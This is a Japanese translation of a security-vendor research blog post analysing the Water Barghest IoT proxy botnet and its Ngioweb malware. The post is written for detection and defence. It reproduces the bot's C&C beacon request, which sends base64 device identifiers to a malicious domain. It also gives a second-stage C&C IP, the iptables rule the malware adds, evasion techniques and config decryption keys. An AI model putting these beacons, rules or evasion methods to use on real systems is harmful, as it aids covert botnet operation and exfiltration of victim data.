IoT
IoTデバイスを狙う攻撃者「Water Barghest」の迅速な収益化戦略
本稿では、攻撃グループ「Water Barghest」が行うIoTデバイスへの不正アクセスと、高度な自動化技術を駆使してそれらを収益化する手法について解説します。
- 攻撃グループ「Water Barghest」は2024年10月までに2万台以上のIoTデバイスを掌握し、セキュリティの脆弱性を突いて侵入したデバイスを素早くレジデンシャルプロキシの市場で販売することで利益を上げています。
- ボットネットを駆使するこの攻撃グループは、Shodanなどのインターネットスキャンデータベースを活用し、自動化スクリプトによって脆弱なIoTデバイスを探し出して侵入します。
- デバイスへの侵入後は、「Ngioweb」と呼ばれるボットをメモリ上で実行し、制御サーバに接続してプロキシとして登録して「プロキシボットネット」を形成します。
- 侵入からプロキシとしての販売開始まで最短10分で完了する、極めて効率的な自動化システムを確立しています。
プロキシボットネットの構築は、諜報活動を目的とする攻撃グループや金銭目的の犯罪者グループの双方にとって魅力的な不正活動となっています。これらのボットネットは、匿名化の層として機能し、ウェブサイトの内容収集や盗まれた資産へのアクセス、サイバー攻撃の実行など、様々な不正活動において実在する地域のIPアドレスを装うことができるからです。
国家支援型の攻撃グループ(APT)によるプロキシボットネットの代表例として、攻撃グループ「Sandworm」が構築し、FBI(米国連邦捜査局)が2018年と2022年に摘発したボットネット「VPNFilter」と「Cyclops Blink」が挙げられます。また、中国企業のBeijing Integrity Technology Groupが運営していたとされるボットネット「SOHO」は2024年9月にFBIによって摘発されています。さらに、攻撃グループ「Water Zmeu」は、主にUbiquiti EdgeRouterを標的としたプロキシボットネットを構築し、これは国家レベルの攻撃グループ「Pawn Storm(APT28またはForest Blizzardとしても知られる)」が2年間にわたって諜報活動に利用していました。
本稿では、攻撃グループ「Water Barghest」が運営するプロキシボットネットについての調査結果をご報告します。このボットネットは2024年10月時点で、2万台を超えるIoTデバイスを掌握していたと見られています。Water Barghestの存在を突き止めるきっかけとなったのは、国家支援型攻撃グループPawn Stormに関するトレンドマイクロの10年に及ぶ調査でした。2022年4月以降、Pawn Stormは数多くのUbiquiti EdgeRouterを侵害し、スパイ活動に悪用していました。これらのルーターは、世界中の政府機関を標的としたスピアフィッシングメールの送信、NTLMv2ハッシュリレー攻撃におけるSMBリフレクター、さらにはフィッシングサイトで盗んだ認証情報を上位サーバに送信するプロキシとしても悪用されていました。
2024年1月、FBIはPawn Stormが利用していた犯罪組織のボットネットを遮断することで、これらのスパイ活動の阻止を試みました。主に侵害を受けたUbiquiti EdgeRouterで構成されていたこのボットネットは、Water Zmeuの活動によるものとトレンドマイクロでは特定しています。調査過程で入手したPawn Storm使用のEdgeRouterからは、スパイ活動の痕跡とマルウェア「Water Zmeu」が発見されました。さらに、umやmmという、メモリ上でのみ動作する不審なプロセスも確認されました。これらはメモリ上で実行されるマルウェア「Ngioweb」であることが判明し、この発見が攻撃グループWater BarghestによるボットネットマルウェアNgiowebの解明につながりました。サイバー犯罪者と国家支援型攻撃者は、意図的かどうかに関わらず、侵害したインフラを共有していたことが明らかになりました。
攻撃グループWater BarghestのNgiowebによるボットネットは5年以上も活動を続けていながら、その存在が大きく取り上げられることはありませんでした。Water Barghestの背後にいる組織が、巧みに注目を避けていたのでしょう。他の多くのサイバー犯罪攻撃グループと同様、徹底した運用セキュリティと高度な自動化により、メディアの目を引くことなく活動を続けていました。サイバー犯罪から着実な収入を得ながらも、適切な監視の目を逃れ続けていたのです。サーバのログを密かに消去してフォレンジック分析を妨害し、作業のほぼ全てを自動化して人的ミスを排除し、さらに暗号資産を使用して資金の流れを隠ぺいしていました。
しかし、判断ミスや作戦上の失態、あるいは欲に駆られた脆弱性の悪用により、彼らは突如として注目を浴びることになりました。代表的な例が、2023年10月にCisco IOS XEデバイスを標的としたゼロデイ攻撃です。数万台のCiscoルーターが被害を受け、必然的にセキュリティ業界の注目を集めることになりました。トレンドマイクロでも犯人究明に取り組み、技術的な観点から真相を解明しました。数千台のCisco IOS XEルーターを侵害した攻撃インフラが、5年前から活動を続けるWater Barghestによるものだったのです。これにより、2023年10月のCisco IOS XEゼロデイ攻撃の背後にWater Barghestがいた可能性が極めて高いことが明らかになりました。
ただし、たとえ数万台のルーターを標的にしたCisco IOS XEゼロデイ攻撃がなかったとしても、前述のPawn Storm調査を通じて、トレンドマイクロでは、いずれWater Barghestのボットネット作戦を発見していたはずです。一連の一見無関係な出来事を通じて、Water Barghestの手口が明らかになりました。インターネット上の脆弱なルーターやIoTデバイスの探索から、攻撃の実行、マルウェアの埋め込みと起動、そして侵害したデバイスをレジデンシャルプロキシの市場で販売して収益化するまで、全工程を自動化していたのです。
Water Barghestによるボットネットの最大の特徴は、その徹底した自動化にあります。この点について次のセクションで説明します。
トレンドマイクロの調査によれば、Water Barghestは脆弱性の入手を除き、脆弱なIoTデバイスの探索から市場での販売まで、すべての工程を自動化しています(図1)。活動の起点となるのはIoTデバイスの脆弱性の入手です。多くは既知の脆弱性(Nデイ)を利用していますが、少なくとも一度は未知の脆弱性(ゼロデイ)も使用していました。脆弱性のリストを入手すると、Shodanなどのインターネットスキャンデータベースでクエリを実行し、脆弱なデバイスとそのIPアドレスを探し出します。
IPアドレスを収集した後、Water Barghestは長期間使用できるデータセンターのIPアドレス群を使って、脆弱性が疑われるIoTデバイスへの攻撃を開始します。攻撃が成功すると、侵害されたデバイスはスクリプトをダウンロードし、様々なLinuxアーキテクチャ用にコンパイルされたボットネットマルウェアNgiowebのサンプルを順番に試していきます。いずれかのサンプルが動作すると、Ngiowebは被害デバイスのメモリ上で実行を開始します。メモリ上での実行のため感染は永続的ではなく、デバイスを再起動すれば解消されます。Ngiowebの起動後、コマンド&コントロール(C&C)サーバへの登録が行われ、多くの場合、数分以内にレジデンシャルプロキシプロバイダーが持つ150のエントリーポイントのいずれかに接続するよう指示を受けます(図2)。続いて速度テストとネームサーバテストが実施され、その情報が市場に送信されて登録が完了します。最短では、初期感染から市場での販売開始まで10分程度で完了することもあります。これは5年以上の活動実績を持つこの攻撃グループの専門性の高さと成熟度を如実に示しています。
本稿執筆時点で、Water Barghestは約17台の仮想プライベートサーバ(VPS)上でワーカープログラムを稼働させ、ルーターやIoTデバイスの既知の脆弱性を24時間体制でスキャンしています。これらのワーカーは、新たに侵害したIoTデバイスへのボットネットマルウェアNgioweb送り込みにも利用されています。攻撃グループWater Barghestは、ワーカーのIPアドレスを少しずつ変更しながら、この手法を何年にもわたって継続してきたと考えられます。この巧妙な仕組みにより、Water Barghestは長期間にわたって安定した収益を上げることに成功したのです。
マルウェアNgiowebの進化
2018年:Ramnitを利用したWindowsボットネット
マルウェアNgiowebの起源は2018年まで遡ります。セキュリティ企業Check Point Researchの調査で、トロイの木馬型マルウェア「Ramnit」を通じて配布されていたことが明らかになりました。この時期のNgiowebはMicrosoft Windowsを標的とし、感染したコンピュータを不正なプロキシサーバに仕立て上げるよう設計されていました。一部のサンプルは2017年に遡って確認されていますが、マルウェアの名前の由来となったコマンド&コントロール(C&C)ドメイン「ngioweb[.]su」の登録は2018年でした。補足ですが、.suというトップレベルドメイン(TLD)はソビエト連邦のものです。ソ連は既に存在しませんが、このTLDは今でも使用可能です。
2019年:WordPressサーバのボットネット
2019年、セキュリティ機関NetlabのリサーチャーたちがNgiowebのアップデート版を発見しました。Linux版への移行が行われ、以前のWindows版の機能を引き継ぎながら、新たにドメイン生成アルゴリズム(DGA)が追加されました。Netlabの分析によると、このボットネットの大半はWordPressを導入したウェブサーバで構成されており、攻撃者はWordPressまたはそのプラグインの脆弱性を狙っていた可能性が高いとされています。
第一段階のC&Cサーバに送信されるパラメータの中に「sv」("software version"の略称と推測)があり、値として5003が設定されていました。Windows版と同様、NgiowebはC&Cサーバを二段階で運用し、第二段階のサーバとの通信には独自に開発したバイナリプロトコルをTCP上で使用していました。
2020年:IoTデバイスのボットネット
2020年、Water Barghestは攻撃対象をIoTデバイスへと転換しました。トレンドマイクロでは様々なハードウェアアーキテクチャに対応したNgiowebのサンプルを発見しています。同時期にNetlabがNgiowebボットネットに関する調査結果を公開し、Intezerも関連情報をXで発信しています。Netlabの報告によると、攻撃者はQNAPやNetgearのNAS機器、D-Link製品など、IoTデバイスの9種類の既知の脆弱性を標的にしていました。この時点で'sv'フィールドのソフトウェアバージョンは0005に更新されています。
2024年:標的の拡大
2024年、Water Barghestが構築したIoTボットネットは最大規模に到達しました。トレンドマイクロがEdgeRouterデバイスで発見した不審なプロセスは、Ngiowebの最新バージョンと判明しました。基本的な動作は過去のバージョンを踏襲しながら、次のような機能を実装しています:
- 解析の妨害のため、実行時に関数ポインタを動的に初期化
- カーネルからの不要な信号を完全に無視
- プロセスリストでカーネルスレッドと見分けがつかないよう、自身を「[kworker/0:1]」と偽装
- エラーログの出力を防ぐため、標準入出力とエラー出力を遮断
- デバイスの再起動を防止するため、カーネルのウォッチドッグ機能を無効化
- /etc/machine-idの内容を読み取り(後に第一段階のC&Cサーバへ送信)
- AES-256-ECB暗号化(パディングなし)された設定ファイルを復号
- 第一段階のC&Cサーバへの接続用DGAドメインを生成し、名前解決を実行
メイン機能については図3をご覧ください。
設定ファイルは暗号化された状態で.dataセクションの先頭に格納されます。下記のサンプルでは、暗号化キーは.dataセクションの開始位置から0x0cの位置にあり、暗号化されたデータは512バイトの大きさです(図4)。
暗号化された設定には、'sv'値、DGAのシードと回数、C&CのURLパスなど、まだ完全には解析できていない他の設定も含まれています。図5では復号された設定内容を示しており、'sv'、DGAシードと回数、C&Cポート、C&CのURLパスの値が強調表示されています。
トレンドマイクロでは、Ngiowebサンプルの設定を復号するPythonスクリプトを作成し、GitHubリポジトリで公開しています。以下が出力例です:
PS D:\ > python ngioweb_config_extractor.py c267e0
[DEBUG] AES key found at offset 0xc from .data section
AES key (hex): db1f96b20679f9fb9cbd96b242ab8530102c0105b64c83c3ae544f87594a6fa9
DGA seed (hex): 0221d333
DGA count: 1000
URL path: /jquery.js
sv: 271a
マルウェアは生成した各ドメインに対して、A/AAAAレコードの名前解決を試みるとともに、base64エンコードされたバイナリデータを受け取るためのTXTレコードリクエストも送信します(図6、7)。
このバイナリデータの具体的な用途については、まだ解析が完了していません。次の段階では、C&CサーバにGETリクエストを送信します。以前のバージョンと同様、このリクエストは暗号化されずにポート443/tcpで送信され、被害者を特定するためのbase64エンコードされたデータを含んでいます:
GET /jquery.js?
h=aWQ9MDEyMzQ1Njc4OWFiY2RlZiZ2PWFybXY3bCZzdj0yNzFhJnlic25xbndmYXR5anV0c2w=
HTTP/1.1\r\n
Host: ultradomafy.net\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0\r\n
Accept: text/html\r\n
Connection: close\r\n
\r\n
base64デコード後のデータは次の通りです:
id=0123456789abcdef&v=armv7l&sv=271a&ybsnqnwfatyjutsl
- id - /etc/machine-idの先頭16文字
- v - 感染デバイスのアーキテクチャ
- sv - ソフトウェアバージョン(推定)
- <16文字の小文字ランダム文字列>
このバージョンでは、'sv'パラメータが271aに更新されています。
第一段階C&Cサーバからの応答は以下のような形式です:
HTTP/1.1 200 OK\r\n
Server: openresty/1.19.9.1\r\n
Date: Mon, 11 Mar 2024 23:23:47 GMT\r\n
Content-Type: text/plain; charset=utf-8\r\n
Content-Length: 8\r\n
Connection: close\r\n
\r\n
WAIT 60\n
この応答に含まれるWAITコマンドは、マルウェアに次のC&Cサーバへの問い合わせまでの待機時間を指示します。パラメータは待機秒数を示しており、この例では60秒となっています。
使用可能なコマンドは以下の通りです:
- WAIT
- CONNECT
- DISCONNECT
- CERT
これは過去のバージョンを踏襲しています。
別の子プロセスは、次のiptablesルールが設定されているかを確認します:
iptables -I INPUT -p tcp --tcp-flags RST RST -j DROP --sport 5000:55000
このルールがnetfilterで未設定の場合、マルウェアが追加します。これは接続のリセットを防ぎ、通信を維持するための措置と考えられます。
60秒の待機後、マルウェアは図8のような新たな指示を受け取ることがあります:
これにより、マルウェアは第二段階のC&C(この例では195.154.43.182)への接続を指示されます。この第二段階のIPアドレスは、レジデンシャルプロキシサービスが保有する約150のエントリーノードの一つと考えられます。
被害者のIPアドレスをレジデンシャルプロキシ市場でリバースプロキシとして売り出す前に、マルウェアは第二段階のC&Cから大容量のランダムデータファイルをダウンロードします(図9)。
これは被害者の通信帯域幅を計測するためのもので、レジデンシャルプロキシ市場での販売価格の算定に利用されると推測されます。
このバージョンでは、Water Barghestは標的とするIoTデバイスの範囲を以下のブランドにまで拡大しています:
- Cisco
- DrayTek
- Fritz!Box
- Linksys
- Netgear
- Synology
- Tenda
- Western Digital
- Zyxel
この市場で提供されているプロキシ(図11)は、バックコネクト方式で動作していることがわかっています。Ngiowebのボットは、市場と関連する約150のデータセンターIPアドレスのいずれかへの接続を指示されます。これらのアドレスは、感染デバイスの第二段階C&Cサーバとしても機能しています。サービスの利用者は、これら150のデータセンターIPアドレスのいずれかの高位TCPポートに一時的に接続し、Ngiowebのボットを経由してトラフィックを送信することができます。
トレンドマイクロでは、継続的な調査を通じて、この市場のレジデンシャルプロキシネットワークの主要部分を特定することに成功し、デバイスの初期感染からわずか10分以内に、それらが市場の商品として登録される過程を実証しました。
今後の展望と結論
Water BarghestやWater Zmeuのような中規模のプロキシボットネットによる攻撃グループは、長年にわたり摘発や公表を免れて活動を続けてきました。これらの攻撃グループは、時間をかけてシステムを洗練させ、運用の自動化を極限まで高めてきました。しかし最終的に、一部のボットネットがセキュリティ業界の注目を集めることになります。Water Barghestの場合、2023年10月にCisco IOS XEデバイスに対してゼロデイ攻撃を仕掛け、数万台のルーターを感染させたことが発覚のきっかけとなりました。一方、Water Zmeuは、APT攻撃者Pawn Stormがスパイ活動にこの犯罪ボットネットを利用していたことから、FBIが摘発に乗り出しました。なお、Water Barghestに関する本稿の作成中に、LevelBlueのブログ記事が公開され、トレンドマイクロの調査結果と部分的に一致する内容が確認されました。
APT攻撃者も独自のIoTボットネットを運用していましたが、それらはFBIと協力機関による摘発まで数年間存続していました。今後もAPT攻撃者や金銭目的の攻撃者は、匿名化やスパイ活動のために独自のIoTボットネットを構築し続けるでしょう。また、第三者のボットネットや商用プロキシサービスの利用も継続すると予想されます。
APT攻撃者やサイバー犯罪グループからの需要が旺盛なため、レジデンシャルプロキシの商用市場と闇市場は、今後さらなる成長が見込まれます。このような匿名化の仕組みへの対策は、世界中の企業や政府機関にとって深刻な課題となっています。司法手続きを経たボットネットの遮断は、悪意ある活動の抑制に効果がありますが、より重要なのは問題の根本的な解決です。IoTデバイスのセキュリティ確保は最優先事項であり、可能な限りインターネットからの直接接続は避けるべきです。
IoTデバイスがインターネットからの接続を受け付けている場合、商用スキャンサービスによってすぐに検出されてしまいます。悪意のある攻撃者も、こうしたスキャンサービスへのアクセス権を購入したり不正に入手したりして、同じ情報を得ることができます。スキャンデータを利用することで、攻撃者は自動化されたスクリプトを使って、既知の脆弱性やゼロデイ脆弱性を露出したIoTデバイスに対して即座に試すことができます。Water Barghestの事例では、IoTデバイスの侵害から市場での販売開始までがわずか10分で完了することもありました。このため、業務上の必要性が明確でない限りIoTデバイスをインターネットに直接さらさないこと、そして自社のインフラが問題の一部とならないよう適切な対策を講じることが極めて重要です。
Trend Micro Vision One スレットインテリジェンス
日々進化するサイバー脅威に効果的に対応するため、Trend Microのお客様はVision Oneプラットフォーム上で、各種インテリジェンスレポートと脅威インサイトをご利用いただけます。脅威インサイトを活用することで、サイバー脅威の発生前に対策を講じ、新たな脅威に万全の準備を整えることができます。脅威アクター、その活動内容、使用する手法について詳細な情報を提供しており、お客様は環境の保護、リスクの低減、脅威への迅速な対応など、予防的な対策を実施することができます。
Trend Vision Oneのアプリ「Intelligence Reports」(IOC Sweeping)
Water Barghestの攻撃に使用されたNgiowebのIOC
Trend Vision Oneのアプリ「Threat Insights」
攻撃グループ:Water Barghest
新たな脅威:Water Barghest’s Rapid Exploit-to-Market Strategy for IoT Devices(Water Barghestによる IoTデバイスの高速攻撃・収益化戦略)
ハンティングクエリ
Trend Vision Oneのアプリ「Search」で利用可能なハンティングクエリ
Trend Micro Vision Oneをご利用のお客様は、検索アプリを使って、このブログ記事で紹介した悪意のある指標と自社環境のデータを照合・分析することができます。
マルウェアNgiowebの検知
malName:NGIOWEB AND eventName:MALWARE_DETECTION
「Threat Insights」のライセンスお持ちのVision Oneのお客様は、さらに多くの探索クエリをご利用いただけます。
侵入の痕跡(IoC:Indicators of Compromise)
完全なIOCリストはこちらのページでご確認ください。DGAによって生成されたドメインについては、GitHubリポジトリをご参照ください。
YARAルール
Ngiowebのサンプルは高度に難読化されているため、.dataセクション内の既知のAESキーを探すのが効率的なアプローチです。ただし、セクションヘッダーを持たないサンプルも存在するため、その場合はバイナリ全体(または読み込み可能なセグメント)からAESキーを探す必要があります。なお、以下のAESキーを含むサンプルも確認されていますが、これはテスト用と推測されるため、IOCリストからは除外しています。
c91795b59248562e44d6c07526c7ab89dfe45344293703a94a3ae5ff02eab5a4
YARAルールの詳細はこちらのページをご覧ください。
参考記事:
Inside Water Barghest’s Rapid Exploit-to-Market Strategy for IoT Devices
By: Feike Hacquebord, Fernando Mercês
翻訳:与那城 務(Core Technology Marketing, Trend Micro™ Research)